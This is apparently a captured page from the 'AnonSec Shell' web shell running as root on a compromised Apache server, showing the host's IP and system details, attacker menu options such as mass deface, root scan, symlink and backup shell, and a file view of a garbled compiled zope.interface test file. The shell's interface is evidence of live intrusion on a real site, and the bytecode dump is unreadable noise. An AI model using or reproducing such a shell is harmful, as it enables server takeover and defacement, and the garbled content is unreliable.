AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/interface/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/zope/interface/tests/__pycache__/test_odd_declarations.cpython-310.pyc
o

$
x`I�@s`dZddlZddlmZddlmZddlmZddlmZddlmZddlm	Z	dd	lm
Z
dd
lmZddlmZddl
mZGd
d�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Ze�deji�ZGdd�de�ZGdd�de�Ze
ee�Gdd �d ee�Ze
ee�Gd!d"�d"ej�ZdS)#z�Test interface declarations against ExtensionClass-like classes.

These tests are to make sure we do something sane in the presence of
classic ExtensionClass classes and instances.
�N)�odd)�	Interface)�implementer)�directlyProvides)�
providedBy)�directlyProvidedBy)�classImplements)�classImplementsOnly)�
implementedBy)�_skip_under_py3kc@�eZdZdS)�I1N��__name__�
__module__�__qualname__�rr�L/usr/lib/python3/dist-packages/zope/interface/tests/test_odd_declarations.pyr
 �r
c@r)�I2Nrrrrrr!rrc@r)�I3Nrrrrrr"rrc@r)�I31Nrrrrrr#rrc@r)�I4Nrrrrrr$rrc@r)�I5Nrrrrrr%rrc@r)�OddNrrrrrr'�rc@�eZdZeZdS)�BN)rrrr�__implemented__rrrrr,�rc@r)�ANrrrrrr 4rr c@r)�CNrrrrrr!8rr!c@sHeZdZdd�Zdd�Zdd�Zdd�Zed	d
��Zdd�Z	d
d�Z
dS)�TestcCs�t�}t|t�|�dd�t|�D�gd��|�dd�t|���D�gd��|�tt|�v�|�t	t|�v�|�t|��
t	��|�t|��
t��|�t|��
t��Gdd�dt
t�}t|t�Gdd	�d	|�}t|t�t|t�|�}t|t�|�d
d�t|�D�gd��|�dd�t|���D�gd
��|�tt|�v�|�t	t|�v�|�t|��
t	��|�t|��
t��|�t|��
t��|�t|��
t��Gdd�dt
t�}Gdd	�d	|�}t|t�t|t�|�}t|t�|�dd�t|�D�gd��|�dd�t|���D�gd
��|�tt|�v�|�t	t|�v�|�t|��
t	��|�t|��
t��|�t|��
t��|�t|��
t��dS)NcS�g|]}|���qSr��getName��.0�irrr�
<listcomp>B�z1Test.test_ObjectSpecification.<locals>.<listcomp>)rrr
rcSr#rr$r&rrrr)Er*)rrrr
rrc@r�z,Test.test_ObjectSpecification.<locals>.COnlyNrrrrr�COnlyNrr,c@r�z(Test.test_ObjectSpecification.<locals>.DNrrrrr�DRrr.cSr#rr$r&rrrr)Zr*)rrrcSr#rr$r&rrrr)\r*)rrrrrc@rr+)rrrrrrrrrr,erc@rr-rrrrrr.frcSr#rr$r&rrrr)mr*cSr#rr$r&rrrr)or*)r!rr�assertEqualr�	flattened�
assertTruer
�assertFalser�extendsrrr rr	r)�self�cr,r.rrr�test_ObjectSpecification?sd
��



��


��zTest.test_ObjectSpecificationcCs�tt�Gdd�dt��}tt�Gdd�dt��}Gdd�d||�}t|tt�|�dd�t|�D�gd	��t|t	�|�d
d�t|�D�gd��dS)Nc@r)z$Test.test_classImplements.<locals>.ANrrrrrr z�r c@r)z$Test.test_classImplements.<locals>.BNrrrrrr~r7rc@r)z$Test.test_classImplements.<locals>.CNrrrrrr!�rr!cSr#rr$r&rrrr)�r*z-Test.test_classImplements.<locals>.<listcomp>)r
rrrcSr#rr$r&rrrr)�r*)r
rrrr)
rrrrrr
rr/r
r�r4r rr!rrr�test_classImplementsxs�
�zTest.test_classImplementscCsptt�Gdd�dt��}tt�Gdd�dt��}Gdd�d||�}t|tt�|�dd�t|�D�d	d
g�dS)Nc@r)z(Test.test_classImplementsOnly.<locals>.ANrrrrrr �r7r c@r)z(Test.test_classImplementsOnly.<locals>.BNrrrrrr�r7rc@r)z(Test.test_classImplementsOnly.<locals>.CNrrrrrr!�rr!cSsg|]}|j�qSr)rr&rrrr)�sz1Test.test_classImplementsOnly.<locals>.<listcomp>r
r)	rrrrr	r
rr/r
r8rrr�test_classImplementsOnly�s�zTest.test_classImplementsOnlyc	Cs~Gdd�dt�}Gdd�dt�}Gdd�dt�}Gdd�dt�}Gd	d
�d
t�}t|||�Gdd�dt�}t||�Gd
d�d||�}t||�|�}t|tt�|�tt|�v�|�tt|�v�|�|t|�v�|�|t|�v�|�|t|�v�|�|t|�v�t|t|�t�|�tt|�v�|�	tt|�v�|�	tt|�v�t|t|�t�|�tt|�v�dS)Nc@r)z'Test.test_directlyProvides.<locals>.IA1Nrrrrr�IA1�rr;c@r)z'Test.test_directlyProvides.<locals>.IA2Nrrrrr�IA2�rr<c@r)z&Test.test_directlyProvides.<locals>.IBNrrrrr�IB�rr=c@r)z&Test.test_directlyProvides.<locals>.ICNrrrrr�IC�rr>c@r)z%Test.test_directlyProvides.<locals>.ANrrrrrr �rr c@r)z%Test.test_directlyProvides.<locals>.BNrrrrrr�rrc@r)z%Test.test_directlyProvides.<locals>.CNrrrrrr!�rr!)
rrrrr
rr1rrr2)	r4r;r<r=r>r rr!�obrrr�test_directlyProvides�s0

zTest.test_directlyProvidescCs|�tttt�dS)N)�assertRaises�	TypeErrorrr!r)r4rrr�)test_directlyProvides_fails_for_odd_class�sz.Test.test_directlyProvides_fails_for_odd_classcCsfGdd�dt�}Gdd�dt�}t||�Gdd�d|�}t|t�|�dd�t|�D�d	dg�dS)
Nc@r)z#Test.test_implementedBy.<locals>.I2Nrrrrrr�rrc@r)z#Test.test_implementedBy.<locals>.C1Nrrrrr�C1�rrDc@r)z#Test.test_implementedBy.<locals>.C2Nrrrrr�C2�rrEcSr#rr$r&rrrr)�r*z+Test.test_implementedBy.<locals>.<listcomp>r)r
rrrr/r
)r4rrDrErrr�test_implementedBy�s

�zTest.test_implementedBycCsNGdd�dt�}t�d|j|j�}Gdd�dt�}t�d|j|j�}Gdd�d||�}|�|j||f�|�}|�}|�|jd�|�|jd�d|_|�|jd�|�|jd�|�}|�|jd�|�|jd�d|_|�|jd�d|_|�|jd�|jzd	d
l	m
}Wn	ty�Yn
wt|t
|f�r�J�|�|jj|j�dS)Nc@�eZdZdZdS)z<Test.test_odd_metaclass_that_doesnt_subclass_type.<locals>.A�N)rrr�arrrrr ��r c@rG)z<Test.test_odd_metaclass_that_doesnt_subclass_type.<locals>.BrHN)rrr�brrrrr�rJrc@r)z<Test.test_odd_metaclass_that_doesnt_subclass_type.<locals>.CNrrrrrr!�rr!rH�r)�	ClassType)�objectr�	MetaClass�	__bases__�__dict__r/rIrKr5�typesrM�ImportError�
isinstance�type�assertIs�	__class__)r4r rr!rI�aar5rMrrr�,test_odd_metaclass_that_doesnt_subclass_type�s8�z1Test.test_odd_metaclass_that_doesnt_subclass_typeN)rrrr6r9r:r@rrCrFrYrrrrr"=s9"
r")�__doc__�unittest�zope.interface.testsr�zope.interfacerrrrrrr	r
�zope.interface._compatrr
rrrrrrNrrOrPrr r!�TestCaser"rrrr�<module>s4




Anon7 - 2022
AnonSec Team